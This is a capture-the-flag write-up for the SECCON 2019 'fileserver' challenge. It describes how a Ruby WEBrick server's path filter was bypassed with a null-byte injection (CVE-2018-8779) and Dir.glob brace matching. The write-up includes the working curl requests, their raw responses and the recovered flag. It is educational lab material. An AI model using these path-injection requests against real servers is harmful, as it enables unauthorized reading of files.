3 + I actually never wrote ruby before.
4 + The challenge was mostly googling ruby-docs.
5 + Unfortunately this is my best documented challenge this term so far :/
10 I donno apache or nginx things well, I guess I can implement one for myself though. See? It’s easy!
11 http://fileserver.chal.seccon.jp:9292/public/index.html
12 Due to maintainability, we restart the server of fileserver challenge every 5 minutes.
15 The challenge is two-staged and consisted of a few files served by itself:
25 https://mattermost.w0y.at/seccon-2019/pl/ta1rjitc7jn4ugo4cw5z7nc5xa
27 ### Stage 1: Get flag path
29 ``curl --path-as-is -v 'fileserver.chal.seccon.jp:9292/%00/tmp/flags/' -o -``
31 > GET /%00/tmp/flags/ HTTP/1.1
32 > Host: fileserver.chal.seccon.jp:9292
33 > User-Agent: curl/7.64.0
37 < Content-Type: text/html
38 < Server: WEBrick/1.5.0 (Ruby/2.6.5/2019-10-01)
39 < Date: Sat, 19 Oct 2019 16:25:31 GMT
41 < Connection: Keep-Alive
45 <meta name="viewport" content="width=device-width, initial-scale=1">
46 <title>Fileserver</title>
47 <link rel="stylesheet" href="https://unpkg.com/bulmaswatch/cerulean/bulmaswatch.min.css">
48 <section class="section">
49 <div class="container">
50 <h1 class="title">Index of //tmp/flags/</h1>
51 <div class="list is-hoverable">
53 <a class="list-item" href="/./">./</a>
55 <a class="list-item" href="//tmp/flags/K3Y90aCrrmQjHKMgJ1lWWiMBgK1p2MgI.txt">/tmp/flags/K3Y90aCrrmQjHKMgJ1lWWiMBgK1p2MgI.txt</a>
59 <span class="is-italic">WEBrick/1.5.0 (Ruby/2.6.5/2019-10-01) Server at fileserver.chal.seccon.jp:9292</span>
63 ### Stage2: get file content
65 ``curl --path-as-is -v 'fileserver.chal.seccon.jp:9292/%7B/tmp/flags/K3Y90aCrrmQjHKMgJ1lWWiMBgK1p2MgI.txt,%5B%7D' -o -``
67 > GET /%7B/tmp/flags/K3Y90aCrrmQjHKMgJ1lWWiMBgK1p2MgI.txt,%5B%7D HTTP/1.1
68 > Host: fileserver.chal.seccon.jp:9292
69 > User-Agent: curl/7.64.0
74 < Server: WEBrick/1.5.0 (Ruby/2.6.5/2019-10-01)
75 < Date: Sat, 19 Oct 2019 16:26:01 GMT
77 < Connection: Keep-Alive
79 SECCON{You_are_the_Globbin'_Slayer}
83 ## The road to enlightenment - aka (failed) attempts
84 ### 3:52 PM - Every file is also a directory.
86 it seems to always show a "directory listing" if you add / at the end and the directory doesnt contain a dot
88 http://fileserver.chal.seccon.jp:9292/Gemfile
89 http://fileserver.chal.seccon.jp:9292/Gemfile/
92 But after fiddling around with that, it didnt reveal any vulnerabilities like possible file includes or directory traversals.
95 Teammate `@sumhack` was trying to get past the path-normalisation to make a classical path traversal work using dots. Without much sucess. But he noticed that ``if you add a [, you can use {} as you like``, but unfortunately deemed that information useless a short while later: ``i just realized that {} is useless for our task here``.
98 ### 4:18 PM - Suspicion: globbing issues?
100 I suspect its something with file globbing. why would they check if the brackets match? just a red herring?
103 def is_bad_path(path)
106 %w(* ? [ { \\).each do |char|
107 if path.include? char
116 # check if brackets are paired
118 path[path.index(bad_char)..].include? ?}
120 path[path.index(bad_char)..].include? ?]
133 After more than a hour of trying to get a classical path traversal to work. Finally there was progress.
134 + I was shown what I did wrong: missing ``--path-as-is`` in my curl calls.
135 + Now at least `@sumhack` and myself were getting the same errors and were stuck at the same spot.
136 + The oranisers seem to have performance issues and the service is down for a while every few seconds.
140 Frustrated by the lack of any success or progress in exploiting ruby's string-interpolation I turned back to Dir.glob and wanted to understand, how it worked in full detail and started googling. Turns out:
141 + It is widely used exactly the same in real-world, which normally is a bad sign for CTFs.
142 + The matching works like a bash's globbing and not like regex.
143 + There is a relatively recent CVE: ``CVE-2018-8779``.
144 + null-byte-injection it is!
145 + For some weird reason only the part AFTER the null-byte is matched, in case of a null-byte.
148 ### 6:01 PM - getting there?
150 <a class="list-item" href="//tmp/flags/c4Fc3iGV8YUfFqBkLUEYr0ur7GyuJBaH.txt">/tmp/flags/c4Fc3iGV8YUfFqBkLUEYr0ur7GyuJBaH.txt</a>
152 but how do I get the file content? :/
154 It turns out: its a multi-staged challenge: We somehow still need to inject dots to get the file's content which we believed at this point to be impossible.
157 ### 6:24 PM - PWND! ^.^
159 + Dots are in fact unusable, but one does not need dots, if we can use Dir.glob.
160 + To be able to use ``{}`` in glob, we need to use a ``[`` somewhere.
161 + null-bytes do not help here.
162 + The trick to get rid of the ``[`` is to put it inside of the ``{}`` match -> ``{something, [}`` and ``something = the absolute path of the flag``.
166 ``SECCON{You_are_the_Globbin'_Slayer}``